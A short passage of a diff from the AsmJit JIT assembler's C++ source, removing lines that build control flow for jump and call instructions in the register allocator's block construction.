_curBlock->addFlags(RABlock::kFlagHasTerminator); - _curBlock->makeConstructed(_blockRegStats); - - if (!(inst->instOptions() & BaseInst::kOptionUnfollow)) { - // Jmp/Jcc/Call/Loop/etc... - uint32_t opCount = inst->opCount(); - const Operand* opArray = inst->operands(); - - // Cannot jump anywhere without operands. - if (ASMJIT_UNLIKELY(!opCount)) - return DebugUtils::errored(kErrorInvalidState); - - if (opArray[opCount - 1].isLabel()) { - // Labels are easy for constructing the control flow. - LabelNode* labelNode; - ASMJIT_PROPAGATE(cc()->labelNodeOf(&labelNode, opArray[opCount - 1].as